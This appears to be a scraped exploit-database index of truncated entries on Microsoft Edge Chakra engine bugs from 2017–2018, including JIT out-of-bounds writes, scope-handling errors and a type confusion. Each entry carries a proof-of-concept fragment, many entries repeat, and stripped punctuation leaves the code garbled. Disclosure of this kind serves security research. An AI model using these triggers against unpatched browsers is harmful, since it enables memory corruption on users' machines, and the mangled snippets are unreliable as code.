Microsoft Edge Chakra JIT Loop Analysis Bug

Microsoft Edge: Chakra: JIT: Loop analysis bug CVE-2018-0777 Here's the PoC demonstrating OOB write. function optarr, start, end for let i = start; i end; i++ if i === 10 i += 0; // -- a arri = 2.3023e-320; function main let arr = new Array100; arr.fill1.1; for let i = 0; i 1000; i++ optarr, 0, 3...

Microsoft Edge Chakra Deferred Parsing

Microsoft Edge: Chakra: Deferred parsing makes wrong scopes 2 CVE-2018-0775 Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to issue 1310 . PoC: // Enable the flag using '\n'.repeat0x1000 evalfunction f with function...

Microsoft Edge Chakra - Deferred Parsing Makes Wrong Scopes (2)

Exploit for windows platform in category dos / poc / Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to issue 1310 . PoC: / // Enable the flag using '\n'.repeat0x1000 evalfunction f with function printf; ; ; +...

Microsoft Edge Chakra JIT - Stack-to-Heap Copy Exploit

Exploit for windows platform in category dos / poc / If variables don't escape the scope, the variables can be allocated to the stack. However, there are some situations, such as when a bailout happens or accessing to arguments containing stack-allocated variables, where those variables should no...

Microsoft Edge Chakra - AsmJSByteCodeGenerator::EmitCall Out-of-Bounds Read

Microsoft Edge Chakra - AsmJSByteCodeGenerator::EmitCall Out-of-Bounds Read / AsmJSByteCodeGenerator::EmitCall which is used to emit call insturctions doesn't check if an array identifier is used as callee. The method handles those invalid calls in the same way it handles valid calls such as...

Microsoft Edge Chakra JIT Incorrect Bounds Calculation

Microsoft Edge: Chakra: JIT: Incorrect bounds calculation CVE-2018-0769 Let's start with comments in the "GlobOpt::TrackIntSpecializedAddSubConstant" method. // Track bounds for add or sub with a constant. For instance, consider b = a + 2. The value of 'b' should track // that it is equal to the...

Microsoft Edge Chakra Incorrect Scope Handling

Microsoft Edge: Chakra: Incorrect scope handling CVE-2018-0774 PoC: function funcarg = function printfunc; // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function. printfunc; function func ; Chakra fails to distinguish whether the function is referenced i...

Microsoft Edge Chakra JIT - Incorrect Bounds Calculation

/ Let's start with comments in the "GlobOpt::TrackIntSpecializedAddSubConstant" method. // Track bounds for add or sub with a constant. For instance, consider b = a + 2. The value of 'b' should track // that it is equal to the value of 'a' + 2. That part has been done above. Similarly, the value ...

Microsoft Edge Chakra - 'JavascriptGeneratorFunction::GetPropertyBuiltIns' Type Confusion

/ Here's a snippet of the method. bool JavascriptGeneratorFunction::GetPropertyBuiltInsVar originalInstance, PropertyId propertyId, Var value, PropertyValueInfo info, ScriptContext requestContext, BOOL result if propertyId == PropertyIds::length ... int len = 0; Var varLength; if...

Microsoft Edge Chakra JIT - Stack-to-Heap Copy

Microsoft Edge Chakra JIT - Stack-to-Heap Copy / If variables don't escape the scope, the variables can be allocated to the stack. However, there are some situations, such as when a bailout happens or accessing to arguments containing stack-allocated variables, where those variables should not...

Microsoft Edge Chakra JIT - Out-of-Bounds Write

Microsoft Edge Chakra JIT - Out-of-Bounds Write // Here's the PoC demonstrating OOB write. function optarr, start, end for let i = start; i end; i++ if i === 10 i += 0; // -- a arri = 2.3023e-320; function main let arr = new Array100; arr.fill1.1; for let i = 0; i 1000; i++ optarr, 0, 3; optarr, ...

Microsoft Edge Chakra - Incorrect Scope Handling

Microsoft Edge Chakra - Incorrect Scope Handling // PoC: function funcarg = function printfunc; // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function. printfunc; function func ; // Chakra fails to distinguish whether the function is referenced in the...

Microsoft Edge Chakra - 'AsmJSByteCodeGenerator::EmitCall' Out-of-Bounds Read

/ AsmJSByteCodeGenerator::EmitCall which is used to emit call insturctions doesn't check if an array identifier is used as callee. The method handles those invalid calls in the same way it handles valid calls such as "arridx & ...". In these cases, the index register remains NoRegister which is...

Microsoft Edge Chakra - Deferred Parsing Makes Wrong Scopes (2)

/ Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to issue 1310 . PoC: / // Enable the flag using '\n'.repeat0x1000 evalfunction f with function printf; ; ; + '\n'.repeat0x1000; PoC 2: // ./ch poc.js -ForceDeferParse...

Microsoft Edge Chakra - JavascriptGeneratorFunction::GetPropertyBuiltIns Type Confusion

Microsoft Edge Chakra - JavascriptGeneratorFunction::GetPropertyBuiltIns Type Confusion / Here's a snippet of the method. bool JavascriptGeneratorFunction::GetPropertyBuiltInsVar originalInstance, PropertyId propertyId, Var value, PropertyValueInfo info, ScriptContext requestContext, BOOL result ...

Microsoft Edge Chakra - Deferred Parsing Makes Wrong Scopes (2)

Microsoft Edge Chakra - Deferred Parsing Makes Wrong Scopes 2 / Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to issue 1310 . PoC: / // Enable the flag using '\n'.repeat0x1000 evalfunction f with function printf; ; ; +...

Microsoft Edge Chakra JavascriptGeneratorFunction::GetPropertyBuiltIns Exposure

Microsoft Edge: Chakra: JavascriptGeneratorFunction::GetPropertyBuiltIns exposes scriptFunction CVE-2017-11914 Here's a snippet of the method. bool JavascriptGeneratorFunction::GetPropertyBuiltInsVar originalInstance, PropertyId propertyId, Var value, PropertyValueInfo info, ScriptContext...

Microsoft Edge Chakra - Incorrect Scope Handling

// PoC: function funcarg = function printfunc; // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function. printfunc; function func ; // Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode...

Microsoft Edge Chakra JIT - Out-of-Bounds Write

// Here's the PoC demonstrating OOB write. function optarr, start, end for let i = start; i end; i++ if i === 10 i += 0; // -- a arri = 2.3023e-320; function main let arr = new Array100; arr.fill1.1; for let i = 0; i 1000; i++ optarr, 0, 3; optarr, 0, 100000; main; / What happens here is as...

Microsoft Edge Chakra JIT - Stack-to-Heap Copy

/ If variables don't escape the scope, the variables can be allocated to the stack. However, there are some situations, such as when a bailout happens or accessing to arguments containing stack-allocated variables, where those variables should not exist in the stack. In these cases, the...